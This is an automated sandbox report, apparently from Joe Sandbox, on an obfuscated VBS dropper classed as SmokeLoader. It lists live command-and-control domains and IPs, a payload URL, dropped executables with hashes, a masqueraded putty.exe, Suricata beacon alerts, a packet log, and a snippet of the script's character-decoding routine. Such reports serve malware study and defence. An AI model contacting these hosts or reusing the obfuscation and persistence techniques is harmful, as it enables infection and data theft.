http://spotcarservice.ru/fdjskf88cvt/yum	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ccert.coml07	explorer.exe, 00000005.00000000.1622386973.000000000926A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k-dark	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/accuweather-el-ni	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
109.70.26.37	connecticutproperty.ru	Russian Federation		48287	RU-CENTERRU	false
94.156.177.51	constractionscity1991.lat	Bulgaria		43561	NET1-ASBG	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578027
Start date and time:	2024-12-19 07:51:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs renamed because original name is a hash value
Original Sample Name:	i ii.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@7/5@4/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 98% Number of executed functions: 35 Number of non-executed functions: 11
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 6012 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:52:20	API Interceptor	31x Sleep call for process: powershell.exe modified
01:53:00	API Interceptor	259217x Sleep call for process: explorer.exe modified
07:52:48	Task Scheduler	Run new task: Firefox Default Browser Agent 08959B8680DAA532 path: C:\Users\user\AppData\Roaming\edrecib

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.70.26.37	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js	Get hash	malicious	SmokeLoader	Browse	connecticutproperty.ru/
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	connecticutproperty.ru/
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js	Get hash	malicious	SmokeLoader	Browse	connecticutproperty.ru/
	W3MzrFzSF0.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.mrpokrovskii.pro/2pji/
	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	www.mrpokrovskii.pro/i6b4/
	Cmbwwkcevcglau.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.xn--d1acnfnmta.xn--p1ai/pn4e/?PVWk=f3HgyfoZyN&ya3hZ6=Axqd9uYmYp7orgQRubN12KIz0ETn9asgfk1mJK/Z6DbIFwnZ/4JiG197Yvj4xywBazNpNhV4fsXABdsflsvXc8+TStbsRm/06Q==
	Uevsumfxudvvsf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.xn--d1acnfnmta.xn--p1ai/pn4e/
	SecuriteInfo.com.Variant.Babar.161191.3845.26747.exe	Get hash	malicious	FormBook	Browse	www.art-world.gallery/d82s/?10f=JpK121UpvTpc63rRp+gDJCCdgOsyWOtnd1+5GwkwMtQXrqOXZW8giVHgVA/EVEtRUGaZBcKLcc+iDZn9KexNjAxwg4PMjxbaWQ==&p5TzJe=IDSTB-Oy
	OUTSTANDING_PAYMENT.exe	Get hash	malicious	FormBook	Browse	www.landlotto.ru/0oqq/?ICHyvj5=zVtcFUb2erpe1riHNV8x4uTJHdjXeMKlBrPOkTLBlxKebXbCPRW4F79HIT/4WhPpl+5XC4kkcR4ywvq/sd7+lksDMuqQ2YrnfA==&qt9TW=60_ljPJoqo6d2
	031002200411_85416475.vbs	Get hash	malicious	FormBook	Browse	www.landlotto.ru/8bfi/?zWlew1c=A2R81uzLvS0WmEZs04/BP8N0Gjc/1cZcLvuM3RKwCSd5NfyML6VBFcfDSbjtAw22etViIiX2xpSo0klfeHLPYGaSbH+bfsHC3w==&OgJSC=ZGqA1YcB
94.156.177.51	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js	Get hash	malicious	SmokeLoader	Browse	restructurisationservice.ru/
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	restructurisationservice.ru/
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js	Get hash	malicious	SmokeLoader	Browse	restructurisationservice.ru/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
constractionscity1991.lat	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
connecticutproperty.ru	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js	Get hash	malicious	SmokeLoader	Browse	109.70.26.37
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	109.70.26.37
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js	Get hash	malicious	SmokeLoader	Browse	109.70.26.37
restructurisationservice.ru	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
spotcarservice.ru	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js	Get hash	malicious	SmokeLoader	Browse	94.156.177.51

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NET1-ASBG	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	a-r.m-5.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	s-h.4-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	x-3.2-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	a-r.m-7.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	i-5.8-6.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	a-r.m-6.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	x-8.6-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
RU-CENTERRU	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js	Get hash	malicious	SmokeLoader	Browse	109.70.26.37
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	109.70.26.37
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js	Get hash	malicious	SmokeLoader	Browse	109.70.26.37
	TRC.m68k.elf	Get hash	malicious	Mirai	Browse	193.232.244.238
	W3MzrFzSF0.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	109.70.26.37
	Quotation sheet.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.85.61.76
	PO #2411071822.exe	Get hash	malicious	FormBook	Browse	194.85.61.76
	Quotation.exe	Get hash	malicious	FormBook	Browse	194.85.61.76
	payments.exe	Get hash	malicious	FormBook	Browse	194.85.61.76
	Delivery_Notification_00000207899.doc.js	Get hash	malicious	Unknown	Browse	195.208.1.162

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_45v1jgik.zlm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ydy13bbf.zhu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\edrecib

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	295424
Entropy (8bit):	7.368236271015099
Encrypted:	false
SSDEEP:	6144:CwuVnLdSyrzB26P8udhzGV+kVNf+YzExfDZsuiz/JxEVn:CwuVnMyrzE6P8ufzE+kn+Yg+uijw
MD5:	C02B57E6771A13513DC087F6B45ADAB0
SHA1:	D2DA10A92730DDC0C8D085EFF51756AA769E783A
SHA-256:	DCB738E5D9F1D0C7D45FC29638324F9774C4BC7DB5D66189686D60D191700B1D
SHA-512:	34BFBCA9AA8CC7898255429B821CBF0E11A711E0E21BC623178DA336780391D282234587152403171F259D637A9E2192BC25AECA6EAEA9B98742E040F5563C9B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........j..9..9..9..99..9../9Q..9..(9...9.h.9..9..9...9..&9..9..89..9..=9..9Rich..9........................PE..L...w.d.............................I............@.........................................................................(...(........9..........................................................P...@............................................text............................... ..`.data...........`..................@....rsrc....9.......:...H..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\putty.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	295424
Entropy (8bit):	7.368236271015099
Encrypted:	false
SSDEEP:	6144:CwuVnLdSyrzB26P8udhzGV+kVNf+YzExfDZsuiz/JxEVn:CwuVnMyrzE6P8ufzE+kn+Yg+uijw
MD5:	C02B57E6771A13513DC087F6B45ADAB0
SHA1:	D2DA10A92730DDC0C8D085EFF51756AA769E783A
SHA-256:	DCB738E5D9F1D0C7D45FC29638324F9774C4BC7DB5D66189686D60D191700B1D
SHA-512:	34BFBCA9AA8CC7898255429B821CBF0E11A711E0E21BC623178DA336780391D282234587152403171F259D637A9E2192BC25AECA6EAEA9B98742E040F5563C9B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........j..9..9..9..99..9../9Q..9..(9...9.h.9..9..9...9..&9..9..89..9..=9..9Rich..9........................PE..L...w.d.............................I............@.........................................................................(...(........9..........................................................P...@............................................text............................... ..`.data...........`..................@....rsrc....9.......:...H..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with very long lines (6690), with CRLF line terminators
Entropy (8bit):	3.3866816206461317
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs
File size:	7'402 bytes
MD5:	4c2a534b731225c4afa0409c6c16ae19
SHA1:	97c5cf1b10a2036a0f897883d00bcf11b3c8a93c
SHA256:	06fe27eb26975a1cb680fff55f815be29e440a0f2312dbc93171f6aa822fb441
SHA512:	6953f945bfb2e7e837423de69c775d976770a85b815ee5f2853fdc7975baf8762c719ed8395c16058f9bfe4bf3470c7b5204ef1c1aabb70033f921ec6afdc311
SSDEEP:	96:dE3mkeWnBYtySsJQj1S8Yfv2A4ZEs8wu9l9f:WH7nBYtydJQpS8Y2Aed8bnt
TLSH:	AAE1E720083B64B6CB96C855F52F51E818F906297D4F72B173D395E5B5FF90882B0B63
File Content Preview:	Function SiaEM(ByVal qBEkQDb).. Dim FZXLoZb.. Dim AXBvk.. AXBvk = 390.. Dim MLACEqi.. MLACEqi = QMzYDw(qBEkQDb).. If MLACEqi = 7000 + 1204 Then.. For Each FZXLoZb In qBEkQDb.. Dim QmSW.. QmSW = QmSW & Chr(FZXLoZb - AXBvk)..

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T07:52:50.817416+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49711	94.156.177.51	80	TCP
2024-12-19T07:52:52.629854+0100	2025993	ET MALWARE Sharik/Smoke CnC Beacon 11	1	192.168.2.8	49712	94.156.177.51	80	TCP
2024-12-19T07:52:52.629854+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49712	94.156.177.51	80	TCP
2024-12-19T07:52:52.629854+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.8	49712	94.156.177.51	80	TCP
2024-12-19T07:53:14.751358+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49713	109.70.26.37	80	TCP
2024-12-19T07:54:21.614261+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49819	94.156.177.51	80	TCP
2024-12-19T07:54:21.614261+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.8	49819	94.156.177.51	80	TCP
2024-12-19T07:54:23.208125+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49825	94.156.177.51	80	TCP
2024-12-19T07:54:23.208125+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.8	49825	94.156.177.51	80	TCP
2024-12-19T07:54:24.692618+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49826	109.70.26.37	80	TCP
2024-12-19T07:54:26.614279+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49832	94.156.177.51	80	TCP
2024-12-19T07:54:28.083025+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49838	94.156.177.51	80	TCP
2024-12-19T07:54:29.692497+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49843	109.70.26.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 07:52:22.715022087 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:22.834593058 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:22.834780931 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:22.836143970 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:22.955657005 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.202955961 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.202984095 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.202996969 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.203110933 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.203123093 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.203140974 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.203219891 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.203674078 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.203685999 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.203697920 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.203717947 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.203773975 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.203809023 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.203821898 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.203917027 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.322731018 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.322896004 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.323092937 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.333028078 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.380013943 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.395030022 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.395064116 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.395246983 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.397526979 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.397641897 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.397691965 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.405903101 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.405982971 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.406085968 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.414480925 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.414527893 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.414640903 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.422712088 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.422799110 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.422899008 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.431092024 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.431211948 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.431282997 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.439455032 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.439547062 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.439678907 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.447827101 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.447917938 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.448028088 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.456221104 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.456381083 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.456509113 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.464775085 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.464960098 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.465151072 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.499552011 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.499680042 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.499852896 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.514884949 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.514924049 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.515034914 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.566554070 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.587271929 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.587366104 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.587429047 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.589596987 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.589668036 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.589684010 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.593271017 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.593444109 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.593461037 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.598084927 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.598164082 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.598200083 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.602705002 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.602771997 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.602803946 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.607433081 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.607549906 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.607578993 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.612268925 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.612365007 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.612370968 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.616977930 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.617078066 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.617085934 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.621669054 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.621781111 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.621848106 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.626406908 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.626514912 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.626538992 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.631155968 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.631232977 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.631294012 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.635915995 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.636009932 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.636024952 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.640629053 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.640718937 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.640743017 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.645396948 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.645554066 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.645597935 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.649178982 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.649296045 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.649300098 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.653023958 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.653098106 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.653561115 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.656848907 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.656893969 CET	80	49706	94.156.177.51	192.168.2.8
